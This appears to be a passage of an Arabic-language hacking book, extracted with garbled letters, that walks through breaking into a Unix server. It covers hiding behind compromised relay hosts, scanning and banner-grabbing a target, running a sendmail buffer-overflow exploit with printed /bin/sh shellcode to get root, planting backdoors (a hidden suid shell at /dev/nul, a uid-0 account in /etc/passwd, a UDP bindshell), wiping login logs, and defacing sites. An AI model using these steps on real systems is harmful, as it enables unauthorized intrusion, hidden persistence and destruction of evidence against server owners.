؟؟‬ ‫اه‪..‬تريد ان تخترق اهجهزه مبحره في النترنت ‪...‬اذن‬ ‫‪..‬دعنا نبحر على النترنت ‪(:‬‬ ‫انا عارف انك حصلت على الدرس ده من النترنت ‪..‬‬ ‫لكن هذا كان عن طريق الويندوز‬ ‫‪670‬‬<br /> <br /> ‫‪ ..‬لكن انت اليو‪.‬م انسان مختلف‪ ...‬انت انسان لينكسي‬ ‫‪ ..‬ذه فلسفه محترمه ‪..‬‬ ‫اذن يجب ان تبحر الى النترنت من نظا‪.‬م اليونيكس ‪..‬‬ ‫لن اساسا يجب ان تعرف المود‪.‬م بتاعك على اللينكس‬ ‫حسب التوزيعه اللي عندك ‪ ..‬حاول تعرف المود‪.‬م ‪..‬‬ ‫حتلقي ان اللينكس لم يجد اي مود‪.‬م موصل بالجهاز‬ ‫؟؟‬ ‫ما هذا ‪ ..‬ل تتعجب ‪..‬‬ ‫فكل المودمات الداتخليه ‪ internal‬يطلقون عليها‬ ‫‪.. winmodems‬‬ ‫لماذا لنها مصممه اساسا للعمل تحت نظا‪.‬م التشغيل‬ ‫‪ .. windows‬ارهجوك ل تلو‪.‬م اللينكس ‪..‬‬ ‫بل يجب ان تلو‪.‬م صانع كروت الفاكس الداتخليه هذه ‪(:‬‬ ‫اوكي ‪..‬اما بالنسبه للمود‪.‬م الخارهجي ‪ external‬فهو‬ ‫مود‪.‬م حقيقي ‪real or true modems‬‬ ‫‪ ...‬يوهجد العديد من المودمز الخارهجيه مثل ‪acorp ,‬‬ ‫‪u.s. robotics‬‬ ‫يجب ان تتاكد ان المود‪.‬م يكون ‪ serial‬و ليس ‪USB‬‬ ‫على اي حال تخلينا في موضوعنا‪...‬‬ ‫تخلص ‪ ..‬ادتخل على النترنت من تخلل ال ‪ isp‬وذلك‬ ‫من تخلل نظا‪.‬م الليونيكس ‪(:‬‬ ‫‪671‬‬<br /> <br /> ‫اهم حاهجه قبل الشروع في التختراق هي ان تحاول ال‬ ‫يتم اليقاع بك و كشف محاولتك لتختراق سيريفير‬ ‫معين ‪..‬‬ ‫و طبعا هنك و سائل عديده لذلك لن اتطرق اليها لن‬ ‫هناك العديد من الشرو ح المتميزه في مجال الحمايه‬ ‫وازاله الثر‬ ‫الخصهم في نقطتين او ثلثه ‪:‬‬ ‫‪-1‬ايك ان تحاول ان تسجل في موقع تحاول اتختراقه ‪..‬‬ ‫و ل حتى باسامي مزوره لن هذا قد يجعلك عرضه‬ ‫لكشف الي بي الخاص بك‬ ‫و من ثم ال ‪ isp‬ثم رقم هاتفك و صبا ح الفل ‪...‬ت‬ ‫‪ -2‬اياك ان تتباهى باتختراقاتك ابدا اما غير المهتمين‬ ‫بامور الهاك ‪...‬‬ ‫‪-3‬احاول ال تخترق دائم من تخلل هجهازك ‪ ...‬ل ل ‪..‬‬ ‫انت فهمتني غلط ‪ ..‬مش قصدي يعني ترو ح لنت كافيه‬ ‫‪(:‬‬ ‫هجهازك =====< الجهاز الضحيه ‪ ...‬ده مش مامون‬ ‫‪..‬لكن‬ ‫هجهازك======< هجهاز وسيط======<‬ ‫السيرفير الضحيه ‪...‬ده كده كويس اوي‬ ‫طيب ايه الجهاز الوسيط ده‪ ..‬ده ممكن يكون مثل‬ ‫هجهاز مخترق من قبل او شيل اكاونت ‪.‬‬ ‫‪672‬‬<br /> <br /> ‫طيب ماهو الشيل اكاونت‪ :‬هو عباره عن تخدمه حيث‬ ‫يمكنك من تخللها التحكم في هجهاز من بعيد و هذا‬ ‫الجهاز عليه نظا‪.‬م اليونيكس‬ ‫طبعا من غير ان تقو‪.‬م باتختراق هذا الجهاز ‪..‬و يوهجد‬ ‫العديد ممن يقدمون هذا الحدمه مجانا ‪..‬‬ ‫‪ -4‬حاول ان ل تخترق اهجهزه تخطيره و مهمه مثل ‪.‬‬ ‫‪ gov .mil‬او سيرفيرات اهجب عليك قبل ان ‪ edu.‬و‬ ‫غيرها من هذا النمط‪.‬‬ ‫‪ -5‬هذه النقطه تعتمد على بعض تقنيات الفريكينج ‪..‬‬ ‫لعمل اتخفاء لرقم تليفونك عن مزود الخدمه لديك ‪.‬‬ ‫‪REdirecting‬‬ ‫فحص المواقع ومنافذ ال ‪: TCP‬‬‫يجب عليك قبل ان تقو‪.‬م بالتختراق ان تعرف كيف‬ ‫يمشي النترنت ‪ ..‬انه يعتمد على بروتوكول يدعى‬ ‫‪TCP\IP‬‬ ‫و بعض البروتوكولت التخرى ‪....‬‬ ‫طيب ‪ ...‬ركز معايا ابوس ايدك =‪D‬‬ ‫المفروض ان كل هجهاز على النت بيكون فيه بورتات‬ ‫مفتوحه ‪..‬هذا البورتات يمكنك ان تقو‪.‬م من تخللها‬ ‫بارسال الداتا‬ ‫‪673‬‬<br /> <br /> ‫من هجهاز الى ذلك الجهاز ‪..‬هذه البورتات المفتوحه‬ ‫) المفتوحه فقط ( تكون على استعدد دائما لتلقي الداتا‬ ‫من ريموت بوكس‬ ‫دائما ما ترتبط البورتات المفتوحه بما يسمى بخدمه ‪..‬‬ ‫‪<< service‬‬ ‫و هذا الخدمه ‪ service‬تكون مستضافه من تخلل‬ ‫ديمون ‪daemon or server‬‬ ‫اذن ‪ ..‬الديمون هذا اذا قا‪.‬م صاحب الموقع بفتحه في‬ ‫السيرفير فانه يقو‪.‬م بفتح منفذ في السيرفير ‪..‬لكي يقو‪.‬م‬ ‫الديمون هذا من تخلله بتقديم الخدمه الملعونه =‪D‬‬ ‫و هذه بعض الخدمات مع البورتات الخاصه بهم ‪..‬لكن‬ ‫طبعا هناك كثيير‬ ‫‪21‬‬ ‫‪23‬‬ ‫‪25‬‬<br /> <br /> ‫‪FTPd‬‬ ‫‪FTP‬‬ ‫‪telnetd Telnet‬‬ ‫‪sendmail‬‬ ‫‪SMTP‬‬<br /> <br /> ‫‪(!(yes‬‬ ‫‪apache‬‬ ‫‪HTTP‬‬ ‫‪80‬‬ ‫‪qpop‬‬ ‫‪POP3‬‬ ‫‪110‬‬ ‫حرف ‪ d‬في اتخر كلمه ‪ftp , telnet ..etc‬‬ ‫اتختصار لكلمه ‪daemon‬‬ ‫‪674‬‬<br /> <br /> ‫مثال ‪ :‬لو سيادتك قمت بزياره هذا العنوان من تخلل‬ ‫المتصفح مثل ‪ www.host.net‬ماالذي يحدث ؟؟‬ ‫يقو‪.‬م المتصفح بالتصال بالموقع من تخلل بورت ال‬ ‫‪ TCP‬رقم ‪80‬‬ ‫ثم يقو‪.‬م بارسال المر‬ ‫‪ GET /HTTP/1.1 /index.html‬واوامر اتخرى‬ ‫كثيره ‪..‬‬ ‫ثم بعد ذالك يقو‪.‬م الموقع المطلوب بارسال كود الهتمل‬ ‫الخاص بالصفحه ‪index.html‬‬ ‫الشيء الطريف ان ال ‪ daemons‬دي مليئه‬ ‫بالثغرات المنيه الخطيره ‪...‬و هوه ده اللي احنا‬ ‫محتاهجينه =<‬ ‫اذن لكي تقو‪.‬م باتختراق موقع يجب ان تعرف اي ال‬ ‫‪ daemons‬الموهجوده عل السيرفير لذلك يجب‬ ‫عليك ان تعرف‬ ‫ماهي المنافذ المفتوحه في السيرفير المستهدف ‪...‬اذن‬ ‫كيف تحصل عى المعلومات هذه ‪..‬‬ ‫من تخلل ما ال ‪ ... port scaners‬السكانرز هي‬ ‫عباره عن برامج تحول ان تتصل بالسيرفير‬ ‫‪675‬‬<br /> <br /> ‫المستهدف من تخلل هجميع المنافذ ‪..‬و ذلك لمعرفه اي‬ ‫البورتات المفتوحه‬ ‫في هذا السيرفير ‪...‬اشهر هذا السكانرز هي الداه‬ ‫‪ nmap‬بواسطه ‪ fyodor‬و لحسن الحظ يوهجد‬ ‫نسخه منها تخاصه بالويندوز و ‪ !!..‬ايه ده ‪..‬؟؟‬ ‫احنا مش اتفقنا ننسى الويندوز ده تخالص =>‬ ‫‪http://members.lycos.co.uk/linuxd‬‬ ‫‪/ude/e3sar‬‬ ‫طيب‪..‬بالنسبه للينكس يمكننا ان نحصل على نسخه‬ ‫‪ nmap‬على هيئه ‪rpm‬‬ ‫و لتركيبها اتبع التالي ‪:‬‬ ‫‪bash-2.03$ rpm -i nmap-2.53‬‬‫‪1.i386.rpm‬‬ ‫ثم نقو‪.‬م بالتشغيل ‪ ..‬و ان شاء ال سنحاول على مدار‬ ‫الدرس باستخد‪.‬م الموقع ‪ target.edu‬كمثال لموقع‬ ‫مستهدف ‪..‬‬ ‫اتبع التالي ‪:‬‬ ‫‪bash-2.03$ nmap -sS target.edu‬‬<br /> <br /> ‫‪676‬‬<br /> <br /> Starting nmap V. 2.53 by fyodor@insecure.org ( /( www.insecure.org/nmap Interesting ports on target.edu :((xx.xx.xx.xx The 1518 ports scanned but not) (shown below are in state: closed Port State Service tcp open ftp/21 tcp open telnet/23 tcp open smtp/25 tcp open http/80 tcp open pop3/110<br /> <br /> Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds<br /> <br /> ‫ بعمل فحص شامل على‬nmap ‫م ال‬.‫اذن لقد قا‬ !!‫م بمعرفه المنافذ المفتوحه كم ترى‬.‫الموقع و قا‬ 677<br /> <br /> ‫اذن يمكننا ان نعرف ايضا اي الخدمات و ال‬ ‫‪ daemons‬الموهجوده في الموقع ‪target.edu‬‬ ‫لكن يلزمنا اداه معينه للتصال بالموقع من احد هذا‬ ‫المنافذ ‪..‬فكر معي ماهي هذه الداه؟؟؟‬ ‫نعم انها التلنت ‪ ..‬اه ‪ ..‬صحيح ان التلنت هوه تخدمه‬ ‫‪..‬من تخلل التلنت ديمون ‪ ..‬و لكنه ايضا عباره عن‬ ‫برنامج بسيط ‪..‬يمكنك من تخلله التصال باي موقع‬ ‫بمنفذ معين من تخلل ال ‪... TCP‬تعال نشوف مثال ‪:‬‬ ‫‪bash-2.03$ telnet target.edu 21‬‬ ‫‪...Trying xx.xx.xx.xx‬‬ ‫‪.Connected to target.edu‬‬ ‫‪.'[^' Escape character is‬‬ ‫‪target.edu FTP server 220‬‬ ‫‪.(SunOS 5.6) ready‬‬ ‫‪quit‬‬ ‫‪.Goodbye 221‬‬ ‫‪Connection closed by foreign‬‬ ‫‪host‬‬ ‫اهااااا‬ ‫دول دلونا على معلومات قيمه اوي اوي ‪(:‬‬ ‫‪678‬‬<br /> <br /> SunOS 5.6 ‫م التشغيل هناك هو‬.‫ نظا‬-1 ‫ اللي‬standard ‫ ديمون الف تي بي هناك هو ال‬-2 sunOS ‫بييجي مع نظم السن‬ : ‫تعال نجرب بورت تاني نتصل بيه من التلنت‬ bash-2.03$ telnet target.edu 25 ...Trying xx.xx.xx.xx .Connected to target.edu .'[^' Escape character is target.edu ESMTP Sendmail 220 8.11.0/8.9.3; Sun, 24 Sep 2000 09:18:14 -0 (EDT) 400 quit target.edu closing 2.0.0 221 connection Connection closed by foreign .host<br /> <br /> 679<br /> <br /> ‫ايضا استفدنا معلومات قيمه هي ان ديمون ‪smtp‬‬ ‫هو ال ‪ sendmail‬و ان اصدار ه هو‬ ‫‪8.11.0/8.9.3‬‬ ‫هجميل حميل ‪..‬طيب لماذا نحتج الى هذا المعلومات ؟؟‬ ‫لن الكسبلويت و الثغره الموهجوده دائما تعتمد على‬ ‫ال ‪ daemon‬الموهجود و على نظا‪.‬م التشغيل ‪..‬لكن‬ ‫توهجد مشكله وهي ان بعض المكعلومات قد يمكن ان‬ ‫تكون مزوره او غير صحيحه‬ ‫ازاي ؟؟؟تابع معايا كده ‪:‬‬ ‫بالداه ‪nmap‬‬ ‫‪bash-2.03$ nmap -sS target.edu‬‬ ‫‪Starting nmap V. 2.53 by‬‬ ‫‪fyodor@insecure.org‬‬ ‫‪( /( www.insecure.org/nmap‬‬ ‫‪Interesting ports on target.edu‬‬ ‫‪:((xx.xx.xx.xx‬‬ ‫)‪The 1518 ports scanned but not‬‬ ‫‪(shown below are in state: closed‬‬ ‫‪Port‬‬ ‫‪State‬‬ ‫‪Service‬‬ ‫‪tcp open‬‬ ‫‪ftp/21‬‬ ‫‪tcp open‬‬ ‫‪telnet/23‬‬ ‫‪680‬‬<br /> <br /> tcp open tcp open tcp open<br /> <br /> smtp/25 http/80 pop3/110<br /> <br /> TCP Sequence Prediction: Class=random positive increments Difficulty=937544 (!(Good luck Remote operating system guess: Linux 2.1.122 - 2.2.14 Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds |: ‫يانهار اسود‬ ‫م التشغيل اللي الده قامت بتخمينه هو لينكس‬.‫نظا‬ !!!!!! @= ‫ !!!!!! اه يا و لد الكلب‬sunOS ‫مش كان‬<br /> <br /> 681<br /> <br /> ‫بس احنا برده لز‪.‬م نعرف توزيعه اللينكس الوهجوده‬ ‫‪..‬لكن نقدر نقول ان المعلومات اللي هجمعناها كفايه و‬ ‫ممكن تمشي‬ ‫طيب ‪..‬كده احنا قمن بعمل سكان على الموقع و لكن‬ ‫ممكن احد الدمينز لو عرف ان اننا قمنا بفحص موقعه‬ ‫‪ ...‬اعتقد نه حيكون زعلن منن و حنا مش عايزين‬ ‫الدمين يزعل مننا لذلك‬ ‫استخدمنا التختيار ‪ Ss-‬على اي حل فان عمل سكان‬ ‫لموقع يعتبر عمل شرعي ل مشاكل فيه =‪D‬‬ ‫لمزيد من المعلومات راهجع‪:‬‬ ‫‪bash-2.03$ man nmap‬‬ ‫رفع ادواتك على شل اكونت ‪..‬‬ ‫)هذه الخطوه اذا كن عندك شيل اكاونت و مش عايز‬ ‫تخترق من هجهازك (‬ ‫اتبع التالي ‪:‬‬ ‫‪bash-2.03$ ls‬‬ ‫‪program.c‬‬ ‫‪sh-2.03$ ftp shell.com‬‬ ‫‪Connected to shell.com‬‬ ‫‪shell.com FTP server 220‬‬ ‫‪.(SunOS 5.6) ready‬‬ ‫‪682‬‬<br /> <br /> ‫‪Name: luser‬‬ ‫‪.Password required for luser 331‬‬ ‫‪:Password‬‬ ‫‪.User luser logged in 230‬‬ ‫‪ftp> put program.c‬‬ ‫‪.PORT command successful 200‬‬ ‫‪ASCII data connection for 150‬‬ ‫‪.(program.c (204.42.253.18,57982‬‬ ‫‪.Transfer complete 226‬‬ ‫‪ftp> quit‬‬ ‫‪Goodbye 221‬‬ ‫طبعا هذه الطريقه ن تخلل ا ‪ftp‬‬ ‫و هي غير محببه لنها تقو‪.‬م بعمل ملفات اللوج لذلك‬ ‫يفضل لك ان تقو‪.‬م بنسح سورس كود الكسبلويت و‬ ‫لصقها في ملف في الشيل ‪.‬‬ ‫‪sh-2.03$ vi exploit.c‬‬ ‫ثم انسخ الكود ثم افتح تيرمينال تاني و اتصل بالشيل‬ ‫و الصق الكود في ملف و سميه بامتداد‪c.‬‬ ‫كده انت رفعت الكسبلويت بتاعتك للشيل اكاونت ‪.‬‬ ‫وكومبايل للكسبلويت و بعدين اعملها رن على‬ ‫الهوست المستهدف‬ ‫‪683‬‬<br /> <br /> ‫‪sh-2.03$ gcc program.c -o program‬‬ ‫‪sh-2.03$ ./program‬‬ ‫ملحوظه ‪ :‬عيب اوي انك تاتخد المرين دول كقاعده‬ ‫مسلم بيها‪ ..‬كل اكسبلود و له اوامره الخاصه في‬ ‫الكومبايل و له طريقه في التشغيل‬ ‫تظهر هذا الطريقه في التعليق البرمجي او في ال‬ ‫‪. usage‬‬ ‫ استغلل الثغرات المختلفه ‪-:‬‬‫هذا اهم هجزا في الموضوع ‪.‬بمجرد ان تعرف ماهو‬ ‫نظا‪.‬م التشغيل عند الموقع المستهدف و ايضا الديمونز‬ ‫الشغاله على السيرفير‬ ‫فيمكنك ان تذهب الى اي دتا بيز اللي بتقد‪.‬م اكسبلويت‬ ‫‪..‬و دي موهجوده بكثره على النترنت‬ ‫‪http://www.linux.com.cn/hack.co.za‬‬ ‫مثل ده فيه كل حاهجه ممكن تتخيله ‪..‬مقسمه الى‬ ‫ديمونات و نظم تشغيل‬ ‫و لكن ‪..‬ماهي الكسبلويت ؟؟‬ ‫الكسبلويت عباره عن سورس كود عاده مكتوب فبلغه‬ ‫السي او البيرل المهم ان‬ ‫‪684‬‬<br /> <br /> ‫الكسبلويت دي تقو‪.‬م باستغلل منطقه معينه في‬ ‫السيرفير ‪..‬في حاله ‪TARGET.EDU‬‬ ‫يمكننا ان نستخد‪.‬م الكسبلويت الخاصه ب‬ ‫‪ sendmail 8.11.0‬او اي ديمون اتخر‬ ‫على فكره العيال ديما اسمعهم يقولوا ان السند ميل هو‬ ‫اكبر ديمون معرض للتختراق ‪..‬مش عارف ايه السند‬ ‫ميل اساسا ؟؟‬ ‫طيب روو ح للدرس ده و نت تعرف ‪:‬‬ ‫‪http://www.pharaonics.net/less/NEt‬‬ ‫‪works/124.htm‬‬ ‫فيه حاهجه لز‪.‬م تعرفها ‪.‬ان لما تشغل اكسبلويت على‬ ‫سيرفير معين ‪..‬ايه الفوائد اللي هجتعود عليك )غير‬ ‫طبعا اتختراق الموقع (‬ ‫حتحصل على حاهجتين اتنين ‪..‬اول حاهجه شيل عادي‬ ‫‪....‬‬ ‫تاني حاهجه و ده المهم بالنسبه لنا مايسمى بالرووت‬ ‫شيل ‪..‬‬ ‫طبعا انت لو اتخدت رووت شيل على السيرفير اذن‬ ‫فانت كده تمتلك كفه الصلحيات و ممكن تعمل كل اللي‬ ‫انت عايزه ‪..‬ممكن تستعمل الرووت شيل ده كجهاز و‬ ‫سيط زي ما قلت في اول الدرس‬ ‫‪685‬‬<br /> <br /> ‫دتا بيز صغيره للكسبلويتات هي ‪:‬‬ ‫‪www.securityfocus.com‬‬ ‫‪www.insecure.org/sploits.html‬‬ ‫‪..‬طيب زي ما قلت ان كل اكسبلويت مختلفه عن‬ ‫التخرى و يجب عليك ان تقرا الكود بتاعها او‬ ‫التعليقات اذا كنت ل تفهم في لغه البرمجه ‪..‬‬ ‫من اسهل و اشهر الكسبلويتات هي البفر اوفر فلو ‪...‬‬ ‫يقو‪.‬م هذه الكسبلويت بعمل ) دربكه في الديمون (‬ ‫مم يؤدي الى تشغيل الكود الذي تريده‬ ‫يقو‪.‬م هذا الكود بتشغيل شيل في السيرفير لذلك فهو‬ ‫يسمى شيل كود ‪shell code‬‬ ‫طبعا يختلف هذا الكود تبعا لنظا‪.‬م التشغيل ‪ ..‬لذلك‬ ‫يجب علينا ان نعرف نظم التشغيل المستخد‪.‬م في‬ ‫السيرفير‬ ‫لو شوفنا كود اكسبلويت معينه ممكن نلقي ده‬ ‫‪= []char shellcode‬‬ ‫"\‬ ‫‪xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88‬‬ ‫‪"\x46\x07\x89\x46\x0c\xb0\x0b‬‬<br /> <br /> ‫‪686‬‬<br /> <br /> ‫"\‬ ‫‪x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd‬‬ ‫‪"\x80\x31\xdb\x89\xd8\x40\xcd‬‬ ‫"\‪;"x80\xe8\xdc\xff\xff\xff/bin/sh‬‬<br /> <br /> ‫اها‪..‬دهه للينكس و يقو‪.‬م بتشغيل الشيل اللي في‬ ‫المسار دهه ‪bin/sh/‬‬ ‫طبعا لو السيرفير بتاعك شغال على نظا‪.‬م تشغيل اتخر‬ ‫اذن يجب عليك ان تغير الشيل كود‬ ‫ده الى اتخر يناسب النظا‪.‬م المستهدف ‪..‬طبعا ممكن‬ ‫تلقي شيل كودس لجميع نظم التشغيل في مواقع‬ ‫السيكيورتي المختلفه‪.‬‬ ‫‪...‬‬ ‫زي ما قلت يجب عليك البا انك متستعملش هجهازك في‬ ‫التختراق ‪ ..‬و انما تستخد‪.‬م هجهازا وسيطا او شيل‬ ‫اكاونت ‪..‬طريقه لدتخول الى الشيل اكاونت كالتالي‬ ‫‪bash-2.03$ telnet myshellaccount‬‬ ‫‪23‬‬ ‫‪...Trying xx.xx.xx.xx‬‬ ‫‪.Connected to yourshellaccount‬‬ ‫‪687‬‬<br /> <br /> .'[^' Escape character is Welcome to yourshellaccount login: malicioususer (Password: (it doesn't display Last login: Fry Sep 15 11:45:34 .<from <yourIPaddress sh-2.03 ‫طيب لو عندنا اكسبلويت للسند ميل اسمها‬ exploit.c ‫ يمكننا اول عمل‬.. ‫و هي تعمل بفر اوفر فلو‬ :‫الكومبايل و تشغيله كتاللي‬ sh-2.03$ gcc exploit.c -o exploit sh-2.03$ ./exploit This is a sendmail 8.9.11 exploit usage: ./exploit target port sh-2.03$./exploit 25 target.edu ‫معنها اننا اتخدنا شيل هناك‬$... ‫هجميل هجميل‬ : ‫تعال نشوف وضعنا ايه على السيرفير‬ whoami$ 688<br /> <br /> ‫‪root‬‬ ‫يا عيني ‪..‬كده انا بقيت رووت =(‬ ‫طيب فيه العديد من الكسبلويتت مش بتخليك رووت‬ ‫على السيستم‪..‬و انما تديك بس شيل هنال‬ ‫لذلك يجب عليك ن تقو‪.‬م برفع اكسبلةيت اتخر لوكل‬ ‫‪local‬‬ ‫للحصول على الرروت في النظا‪.‬م‪...‬تذكر ن تحاول ان‬ ‫تتجنب رفع الكسبلويتات بالف تي بي على قدر‬ ‫المستطاع)احنا عايزينك =((‬ ‫فيه اكسبلويتات اتخرى تعطيك صلحيه اظهار ملف‬ ‫الباسورد‪..‬اي تي سي =<‬ ‫وضع باك دور ‪-:‬‬‫هجميل ‪ ..‬اذن فقد اتخذنا رووت على السيستم ‪..‬ماذا بعد‬ ‫؟؟؟فعل انت في امكانك ان تقو‪.‬م بتغير الموقع او‬ ‫الصفحه الرئيسيه‬ ‫كل ما عليك ان تبحث عن الندكس في اي مكان او‬ ‫باستخدا‪.‬م المر فايند ‪..‬‬ ‫لكن هذا بصراحه و من غير زعل ‪..‬ده شغل اللمرز‬ ‫لن عيب اوي انك تفرد عضلتك على موقع ‪edu.‬‬ ‫فاغلب الهاكرز بامكانهم اتختراق هذه الدومينات‬ ‫‪689‬‬<br /> <br /> ‫و لكن انصحك هجديا بتغيير الصفحه الرئيسيه في موقع‬ ‫محتر‪.‬م مثل‬ ‫‪microsoft.com , ibm.com etc‬‬ ‫او المواقع السيئه المحتوى كالباحيه او التي تسب‬ ‫الدين ‪ ...‬على اي حل مش موضوعنا دهه‬ ‫طيب احنا دلوقتي عايزين نحتفظ بالموقع دهه ‪..‬تذكر‬ ‫الثلث اهجهزه اياهم‬ ‫هجهازك‪ <-----‬هجهاز وسيط‪ <------‬الجهاز المستهدف‬ ‫‪.‬‬ ‫اذن حنعمل ايه دلوقتي؟؟‬ ‫في حاهجه ‪..‬انت لو كتبت ‪ exit‬حتطلع بره السيرفير‬ ‫ده و تعود للشيل بتاعك و عشان ترهجع تاني يلزمك‬ ‫نفس الخطوات‬ ‫و في هذه الفتره قد يحتمل ان يكون الدمين قد قا‪.‬م‬ ‫بتغيير الباسورد او ركب باتش للديمون المصاب او قا‪.‬م‬ ‫بعمل اب هجريد له‬ ‫مما يؤدي ان تفشل الكسبلويت في عملها ‪..‬و الحل ؟؟‬ ‫بس احنا دلوقتي رووت و ممكن نعمل اللي في نفسنا‬ ‫‪...‬اذن نركب باك دوور يسمح لنا بالعوده بعد ذلك في‬ ‫اي وقت ‪..‬‬ ‫احسن باك دور هوه الهاك اتاك ‪..‬صعب ان النورتون‬ ‫يكشفه و ممك‪...‬اه =| =|‬ ‫‪690‬‬<br /> <br /> ‫ايه الكل‪.‬م ده ياد يا ايسر ؟؟؟؟‬ ‫هاك اتاك =| !!!!!!‬ ‫اسف نسيت ‪(= ...‬‬ ‫طبعا الباك دورز في موضوعي ده تختلف تماما عن‬ ‫الكل‪.‬م الفاضي ده و ل مؤاتخذه‬ ‫طبعا الباك دورز دي عايزالها موضوع لواحده ان‬ ‫شاء احطه لكم قريبا ‪ ..‬لكن انا ساذكر لكم الساسيات‬ ‫فقط ‪..‬‬ ‫‪ -1‬ازاي تعمل ‪sushi‬؟؟؟؟‬ ‫لكي تقو‪.‬م بعمل ‪ sushi‬او ‪ suid shell‬يلزمك ان‬ ‫تقو‪.‬م بنسخ ال ‪bin/sh/‬‬ ‫الى مكان تخفي و نقو‪.‬م باعطاءه صلحيات ال ‪suid‬‬ ‫كالتالي ‪:‬‬ ‫‪sh-2.03$ cp /bin/sh /dev/nul‬‬ ‫هههههه‬ ‫في اغلب الحيان الدمين ل ينظر داتخل الدايركتوري‬ ‫‪ .. dev‬و لو حصل و نظر دتخله فانه لن يشعر بشيء‬ ‫غريب لن فيه ملف اساسا اسمه ‪null‬‬ ‫=‪ D‬ل ده احنا عيال هجدعان اوي =‪D‬‬ ‫‪sh-2.03$ cd /dev‬‬ ‫‪sh-2.03$ chown root nul‬‬ ‫‪691‬‬<br /> <br /> ‫نعطي الشيل الصلحيات اللي احنا عايزينها ‪-:‬‬ ‫‪sh-2.03$ chmod 4775 nul‬‬ ‫‪ 4775‬معناها ال ‪ suid‬اللي احنا عايزينها ‪.‬‬ ‫تخلي بالك ان المر ‪ chmod +s nul‬ممكن‬ ‫ميشتغلش في بعض النظمه ‪ ..‬تخليك مع المر الول‬ ‫بيعمل في كله ‪..‬‬ ‫كده تخلصنا مهمتنا ‪..‬تعالى نطلع بره كده و نشوف‬ ‫‪sh-2.03$ exit‬‬ ‫بعد ‪ 80‬يو‪.‬م لو رهجعنا =‪ D‬تعال نشوف كده اللي‬ ‫حيحصل ‪:‬‬ ‫‪sh-2.03$ whoami‬‬ ‫‪luser‬‬ ‫‪sh-2.03$ /dev/nul‬‬ ‫‪sh-2.03$ whoami‬‬ ‫‪root‬‬ ‫احنا سوبر يوزرز الن بكل سهوله =(‬<br /> <br /> ‫‪692‬‬<br /> <br /> ‫فيه مشكله ‪ ..‬في كثير من الشيلز تمنع اعطاء‬ ‫صلحيات ال ‪ suid‬يعني مينفعش نحصل على ال‬ ‫‪sushi‬‬ ‫و في هذه الحاله يلزمنا ان نرفع للسيرفير المخترق‬ ‫شيل تخاص تاني اسمه ‪ sash‬و هو اتختصار ل ‪A‬‬ ‫‪stand-alone shell‬‬ ‫ذو اوامر تخاصه به ‪...‬‬ ‫و هو يسمح باعطاء صلحيات ال ‪ suid‬ل ‪/‬‬ ‫‪ bin/sh‬اذن نقدر نعمل الن ال ‪sushi‬‬ ‫‪ -2‬كيف نضيف يوزرز مزورين ؟؟‬ ‫طبعا انت رووت و تقدر تعمل تغيير في الملف ‪/‬‬ ‫‪ etc/passwd‬و ممكن من تخلل الملف ده انك‬ ‫تضيف اي حد انت عايزه‬ ‫باستعمال المحرر ‪-: vi‬‬ ‫‪sh-2.03$ vi /etc/passwd‬‬ ‫طبعا لز‪.‬م يكون عندك فكره عن كيفيه استخدا‪.‬م المحرر‬ ‫‪vi‬‬ ‫في الملف ده حتلقي سطر لكل يوزر عادي يكون على‬ ‫الشكل ده‬ ‫‪luser:passwd:uid:gid:startdir:shell‬‬ ‫‪693‬‬<br /> <br /> ‫في حاله السوبر يوزرز بيكون ال ‪uid & gid =0‬‬ ‫اذن اضف السطر ده ‪:‬‬ ‫‪dood::0:0:dood:/:/bin/sh‬‬ ‫و كده اانت ضفت سوبر يوزر للنظا‪.‬م‬ ‫‪sh-2.03$ su dood‬‬ ‫‪sh-2.03$ whoami‬‬ ‫‪dood‬‬ ‫طبعا احنا رووت ‪..‬ليه لن الخ ‪ dood‬كل من ال‬ ‫‪ gid‬و ال ‪ uid‬يساوي صفر‬ ‫‪ -3‬كيف تضع ‪ bindshell‬؟‬ ‫‪ bindshell‬عباره عن ديمون شبيه هجد بال‬ ‫‪ telnetd‬في الحقيقه التلنت ديمون عباره عن بايند‬ ‫شيل ‪..‬‬<br /> <br /> ‫البايند شيل هذا يقو‪.‬م بفتح بورت او منفذ يعني و لكنه‬ ‫ليس منفذ ‪ TCP‬بل منفذ ‪UDP‬‬ ‫و طبعا بيعطيك شيل عند التصال بهذا البورت ‪..‬‬<br /> <br /> ‫‪694‬‬<br /> <br /> ‫الطريف و الشيق في الموضوع انه الدمين لما ييجي‬ ‫يعمل سكان على الجهاز بتاعه للتامين عاده و في‬ ‫اغلب الحيان السكن يكون‬ ‫على منافذ ال ‪ TCP‬و نادرا هجدا ان يعمل سكان على‬ ‫منافذ بروتوكول ‪UDP‬‬ ‫ عمليه ازاله الثار ‪-:‬‬‫في نظاا‪.‬م اليونيكس ‪..‬عندما تقو‪.‬م بالدتخول الى حسابك‬ ‫‪ ..‬فنكا ترى رساله عند اول الدتخول تعلمك باتخر مره‬ ‫قمت بها بالدتخول و رقم الي بي الذي دتخلت منه ‪..‬‬ ‫يعني سيادتك لو دتخلت باسم يوزر و بعد كده اليوزر‬ ‫ده دتخل حيلقي الرساله دي‬ ‫‪Last login: Sun Sep 24 10:32:14‬‬ ‫‪.<from <yourIPaddress‬‬ ‫و طبعا سيادتك كده حتتكشف‬ ‫لن اليوزر ده لو كان ناصح حيبعت ايميل للدمين و‬ ‫يقوله و يبلغه باللي حصل‬ ‫و طبع الدمين في الحال حيبعتله رساله و يقوله ‪-:‬‬ ‫متخافش يا واد ده واحد دتخل على الحساب بتاعك و‬ ‫الي بي بتاعه موهجوود ‪ ..‬و ن ان شاء ال‬ ‫‪695‬‬<br /> <br /> ‫حاتصل بمزود الخدمه في المنطقه و اساله عن رقم‬ ‫التلفون و ان شاء ابلغ البوليس ‪..‬‬ ‫و بالهنا و الشفا =(‬ ‫المعلومات دي موهجوده في المناطق دي‬ ‫‪usr/adm/lastlog/‬‬ ‫‪var/adm/lastlog/‬‬ ‫‪var/log/lastlog/‬‬ ‫يمكنك مسحهم باستخدا‪.‬م ‪ lled‬و دي ممكن تلقيها‬ ‫في اي موقع مهتم ‪..‬‬ ‫بيكون معاه ملف للمساعده اقراه لكي تعرف طريقه‬ ‫الستخدا‪.‬م ‪...‬‬ ‫في حاله استخدا‪.‬م ‪ ftp‬لرفع الدوات يتخلف عن ذلك‬ ‫معلومات ايضا يمكنك ازالتها‬ ‫باستخدا‪.‬م ‪ wted‬و هو شبيه بالده السابقه 